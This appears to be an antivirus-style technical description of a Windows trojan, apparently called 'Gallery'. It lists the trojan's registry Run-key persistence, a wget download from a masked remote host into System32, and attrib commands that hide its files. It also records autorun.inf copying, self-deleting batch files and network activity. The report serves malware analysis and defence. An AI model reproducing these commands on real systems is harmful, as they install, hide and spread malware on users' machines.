Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Gallery' = 'thG.exe'
Malicious functions:
Creates and executes the following:
- %TEMP%\1.tmp\wget.exe "http://vi##e.org/trojanhorsegallery/getnew.php" -o <SYSTEM32>\sys.wglog -O <SYSTEM32>\sys.result
Executes the following:
- <SYSTEM32>\reg.exe SAVE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" <SYSTEM32>\ory.hiv /y
- <SYSTEM32>\reg.exe SAVE "HKCU\Control Panel\Desktop" <SYSTEM32>\orx.hiv /y
- <SYSTEM32>\attrib.exe +s +a +h +r thg.tmp
- <SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Gallery /d "thG.exe" /f
- <SYSTEM32>\cmd.exe /c ""%TEMP%\selfdel0.bat" "
- <SYSTEM32>\attrib.exe +s +a +h +r <SYSTEM32>\wthG.vbs
- <SYSTEM32>\wscript.exe "<SYSTEM32>\wthG.vbs"
- <SYSTEM32>\attrib.exe +s +a +h +r %WINDIR%\autorun.inf
- <SYSTEM32>\attrib.exe +s +a +h +r wget.exe
- <SYSTEM32>\xcopy.exe thG.exe %WINDIR%\ /c /r /h /k /y /i
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\batfile.bat" "
- <SYSTEM32>\attrib.exe +s +a +h +r thG.exe
- <SYSTEM32>\attrib.exe +s +a +h +r autorun.inf
- <SYSTEM32>\xcopy.exe autorun.* %WINDIR%\ /c /r /h /k /y /i
- <SYSTEM32>\attrib.exe +s +a +h +r %WINDIR%\thG.exe
Modifies file system :
Creates the following files:
- <SYSTEM32>\dontexecute.dll
- <SYSTEM32>\thgcounted.dll
- <SYSTEM32>\sys.result
- %TEMP%\selfdel0.bat
- <SYSTEM32>\wthG.vbs
- %TEMP%\1.tmp\dgs.vbs
- %TEMP%\1.tmp\autorun.inf
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\batfile.bat
- <SYSTEM32>\sys.wglog
- %TEMP%\1.tmp\thg.tmp
- %WINDIR%\autorun.inf
Sets the 'hidden' attribute to the following files:
- %TEMP%\1.tmp\thg.tmp
- <SYSTEM32>\wthG.vbs
- %WINDIR%\autorun.inf
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\autorun.inf
Deletes the following files:
- %TEMP%\1.tmp\batfile.bat
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\thg.tmp
- %TEMP%\1.tmp\dgs.vbs
Deletes itself.
Network activity:
Connects to:
- 'vi##e.org':80
TCP:
HTTP GET requests:
- vi##e.org/trojanhorsegallery/getnew.php
UDP:
- DNS ASK vi##e.org
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
